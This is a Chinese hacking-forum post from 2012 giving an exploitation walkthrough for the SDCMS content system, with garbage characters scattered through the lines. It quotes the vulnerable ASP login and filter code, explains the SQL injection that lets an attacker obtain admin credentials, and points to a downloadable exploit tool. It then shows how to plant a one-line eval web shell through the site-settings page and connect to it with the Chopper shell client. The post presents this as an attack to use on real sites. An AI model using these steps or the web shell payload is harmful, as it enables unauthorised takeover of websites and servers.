找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3494|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
# \/ O  F& U# V% y) M: h/ n" p4 U* u5 i漏洞文件:后台目录/index.asp
, f- [7 \# [3 i3 j  h, Q+ G: A
$ T) P3 i! I9 l5 \& _0 ]Sub Check
4 V4 v' {. h( e" [  o+ j    Dim username,password,code,getcode,Rs
9 ^9 Z3 Y' ^0 D. V8 R    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub) s2 r& O$ R" W0 H5 p1 e
    username=FilterText(Trim(Request.Form("username")),1)$ |0 x+ w/ A: {4 D
    password=FilterText(Trim(Request.Form("password")),1)
- j1 y- M9 r3 Z3 A8 f+ N    code=Trim(Request.Form("yzm"))/ T- u1 |. O7 f& }1 h! @$ c' `
    getcode=Session("SDCMSCode")' Q: W  ?2 j0 N/ ?
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
2 K; J+ ^. y5 g; i; q0 B; z5 _    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied4 w- c% l+ @9 _7 J+ l7 H: b0 G6 R& A
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
& \  H; k3 f# d( T    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
- j6 R: h/ I' T# E( X( ?    IF username="" or password="" Then& K+ W7 Q  [8 r/ q3 Z2 d
        Echo "用户名或密码不能为空"ied
7 O5 U' |* i# h    Else
* @: U+ c, S$ \! O        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")% [. ~5 R9 t4 U% N: r% H0 ^0 z
        IF Rs.Eof Then
  O$ |1 H1 J) q; v. F; e$ s. e            AddLog username,GetIp,"登录失败",1
7 [8 m0 e. U. e1 o            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
9 J1 t" |/ U8 [" I0 A8 N        Else0 ^1 W* B5 l2 P+ S& E7 j
            Add_Cookies "sdcms_id",Rs(0)
9 d2 l  g+ w# L$ A( a4 V2 r6 u            Add_Cookies "sdcms_name",username, q9 I5 c& R3 q& ^, c9 z2 k: t6 R
            Add_Cookies "sdcms_pwd",Rs(2)
% ~" u' v0 h' V3 F- c" N            Add_Cookies "sdcms_admin",Rs(3)
) \3 l* Q4 ?+ L/ t9 m& a' ~            Add_Cookies "sdcms_alllever",Rs(4)& u9 K2 `# y# X; m0 `: n
            Add_Cookies "sdcms_infolever",Rs(5)' {# o% X5 L) m7 }
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")" P9 _$ n" U3 ?& s
            AddLog username,GetIp,"登录成功",18 D" V; I: Q/ Q' H
            '自动删除30天前的Log记录
! f+ y) |- x3 b. E3 u9 K            IF Sdcms_DataType Then* X  y: W$ t7 O& i9 b
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")* L. l% i8 W5 i& P
            Else
7 T; D, t+ ~2 t/ S9 I5 {/ h' K                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
% H+ g( i2 U5 D            End IF
% P( M3 [& s9 a4 F9 w5 i$ l            Go("sdcms_index.asp"); p0 }! N1 o# s8 w: w1 {/ ^
        End IF  D( ?+ W! q( j6 d
        Rs.Close
9 ^3 f( k! ~+ I: M6 I7 }" n        Set Rs=Nothing
& S( T7 \! Z0 W  e+ h7 e    End IF
5 s+ F1 Z1 C) ZEnd Sub2 \  @: H) _& X8 ]( H3 D
. w/ _7 y. v7 [6 w
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
" R9 o  p, Q6 L6 q
. ], ~3 `! |1 PFunction FilterText(ByVal t0,ByVal t1)
& t- P( ^0 j+ p" _    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function' U/ w2 D0 j( a, A# D& \
    t0=Trim(t0)
  a) A* x% J, m/ i5 ^" j6 c. B; h    Select Case t1
! Z3 T4 c3 A+ `        Case "1"! o% g! N2 f; Y" \
            t0=Replace(t0,Chr(32),"")
& m+ x; t0 N% e2 w& _/ l            t0=Replace(t0,Chr(13),"")
$ l0 \% T3 u5 z/ y8 y) E            t0=Replace(t0,Chr(10)&Chr(10),"")6 K$ P, C3 m4 O9 l$ B
            t0=Replace(t0,Chr(10),"")
, j, y0 v( ^+ e, M        Case "2"* m" F' S+ L# R7 x4 _7 c' ]/ e' Y* b
            t0=Replace(t0,Chr(8),"")'回格* I4 R' ]: g6 G* R8 @
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
# A& V! s+ \+ `* a7 `/ f% g            t0=Replace(t0,Chr(10),"")'换行$ {1 U2 {, ^  ?$ Y: d! K
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
  g  A, m" m( f5 l7 |7 p1 |( c            t0=Replace(t0,Chr(12),"")'换页
: {5 O; f: W% X; I8 M            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
# b) h# A2 L; y4 R            t0=Replace(t0,Chr(22),"")& i1 i' [- U$ ~! J" x) ~- P( o8 ^
            t0=Replace(t0,Chr(32),"")'空格 SPACE
  i; w0 f- f1 Q. J            t0=Replace(t0,Chr(33),"")'!+ W: k7 V% c# a; V3 G8 \3 D' D
            t0=Replace(t0,Chr(34),"")'"1 S) p2 u! c- q, q8 n
            t0=Replace(t0,Chr(35),"")'#
1 z! ]5 l  E- M5 g2 i+ k            t0=Replace(t0,Chr(36),"")'$; s- {) {. A7 I/ s. M; L2 M
            t0=Replace(t0,Chr(37),"")'%0 e7 U* P+ V9 v- S9 d2 O
            t0=Replace(t0,Chr(38),"")'&+ h* [1 i- X8 O3 T8 I& C
            t0=Replace(t0,Chr(39),"")''1 m9 F/ @9 M9 V; y9 D
            t0=Replace(t0,Chr(40),"")'(2 Z. p3 s3 L$ S6 |0 M! C
            t0=Replace(t0,Chr(41),"")'). s5 w; A& N, l* r- w% E2 ]- C, d, @
            t0=Replace(t0,Chr(42),"")'*
8 a: n& J/ w; _; t            t0=Replace(t0,Chr(43),"")'+
  Q& K. B9 _/ y1 s; z& ]+ `            t0=Replace(t0,Chr(44),"")',
/ t- `  p# }& u8 [5 Z/ r# G# D0 O1 C            t0=Replace(t0,Chr(45),"")'-
, L% \8 Q2 J" L- }- ?0 H% I            t0=Replace(t0,Chr(46),"")'.
# V+ r% k& W  a( a1 Z+ h            t0=Replace(t0,Chr(47),"")'/
0 @) `  J: T% K" K+ k            t0=Replace(t0,Chr(58),"")':% O- g( q; w+ s$ n
            t0=Replace(t0,Chr(59),"")';
4 ~. [( j9 y: [9 o, K1 h            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
! l$ y+ h! y2 x' Q! v1 I: V$ @            t0=Replace(t0,Chr(63),"")'?2 ]! m9 p( n: ?  O! q
            t0=Replace(t0,Chr(64),"")'@
$ {/ |1 v. I: I  }$ m            t0=Replace(t0,Chr(91),"")'\
4 o& d' X) \4 _6 t  j; c1 {            t0=Replace(t0,Chr(92),"")'\
9 V$ c2 O! B4 K8 ^7 r            t0=Replace(t0,Chr(93),"")']' e  @6 `; s# m1 f
            t0=Replace(t0,Chr(94),"")'^, o* C4 {- T' l0 i
            t0=Replace(t0,Chr(95),"")'_$ M7 N# O7 Y4 a* }" p
            t0=Replace(t0,Chr(96),"")'`
$ i; ]: g- f3 U  J( r; F            t0=Replace(t0,Chr(123),"")'{) A3 p0 S* u( z! m( E
            t0=Replace(t0,Chr(124),"")'|
! R- F  n: x* n- M2 R  e            t0=Replace(t0,Chr(125),"")'}3 y# x" }' {, }' h
            t0=Replace(t0,Chr(126),"")'~
7 _9 W/ W! L- }) t; O+ c    Case Else; \+ c& j' K8 |3 C* J1 |, |7 }
        t0=Replace(t0, "&", "&"), M% T/ Q5 R- B3 l, ~
        t0=Replace(t0, "'", "'")
2 t. q5 }5 u2 T        t0=Replace(t0, """", """)
* J' |; d& I4 M5 {. t: y, v& P        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">"); Z$ _1 ]0 A; K/ F
    End Select
) }9 ^) e/ W6 z6 }+ [) Y7 F    IF Instr(Lcase(t0),"expression")>0 Then
; {% n9 p% M' ]1 w% `, h  T6 ~        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
" B8 k* o/ {) u" w- H    End If# ~2 O$ Z3 ~* Z( ]8 K8 i# S
    FilterText=t0$ d( X- }- y: `2 H% W
End Function% l/ A" \$ i2 j+ M  j; ?9 Z

) y. g6 x5 Z  Y1 X9 ]- l看到没。直接参数是1 只过滤
7 u% b# H/ M0 p2 V% T0 ~2 W7 m3 J                        t0=Replace(t0,Chr(32)," ")
0 z/ H+ ?' h$ g& k( T                        t0=Replace(t0,Chr(13),"")1 h8 v: b( a1 m3 E" t, u
                        t0=Replace(t0,Chr(10)&Chr(10),"6 y" g0 C$ A5 H8 `8 x+ x+ t
")8 V# \0 w0 d7 ^* q  r* u! ~) f
                        t0=Replace(t0,Chr(10),"
8 V( G& S! \- |8 b! Z* p% U* F")
. e1 G- o1 ~/ d% Q( Z' c9 t漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!* V; M2 m5 V. g1 Z  d4 Z
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
4 X3 e' n6 r8 o  Y. W) |
6 J" i; P8 p( m: h测试:4 p4 l9 J2 G  _, u+ B

- j( w3 u% Y+ g" h; S9 c+ l" W4 y
& d+ R2 D: l' {' o8 Z现在输入工具上验证码,然后点OK6 G6 v: ]5 w5 E) |1 O; w. o, w+ |
! s8 x, }/ k/ w: c# r2 l+ {& l! K
' a0 j2 g" N+ I' f6 g
看到我们直接进入后台管理界面了,呵呵!2 T, p9 V7 q: g, {' R3 S% d5 W

" Z- O* [9 y  j8 q0 ]4 y3 u+ v* @3 M. x6 [8 [' u5 b& g

1 E. _9 y, N9 i: S/ y& E) d3 p5 r: _这样直接进入后台了。。。。
6 I( j* j6 f5 U& ^  R
+ _3 o8 W, o: W6 `0 k9 P* g- ?
& T6 {5 n( ~) P3 a% S6 {( K9 Z8 ~. H; `) q" J8 }9 y* K
SDCMS提权:
7 M7 N7 a+ P* O  N% ?1 z5 y% d) Y0 E1 _  L- o+ z0 w
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
+ a/ `1 s+ i# a) @1 y
" Y" t! ~6 }5 S. e" d+ F9 P5 j  Q+ V) K6 L: h+ l. {* D% f# Y

# X. W% \* [( X! gOK,现在用菜刀连接下!9 t+ W. J* h$ @1 D3 t8 M

  f7 z/ u' f3 `7 C1 F4 A9 u! F, S: ]2 `1 |- L
1 t# N. k  I* S/ X' I0 n, r

# C- s9 }2 g2 b6 M
2 U- L2 E% X4 s" C& K+ u2 a! z4 G1 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表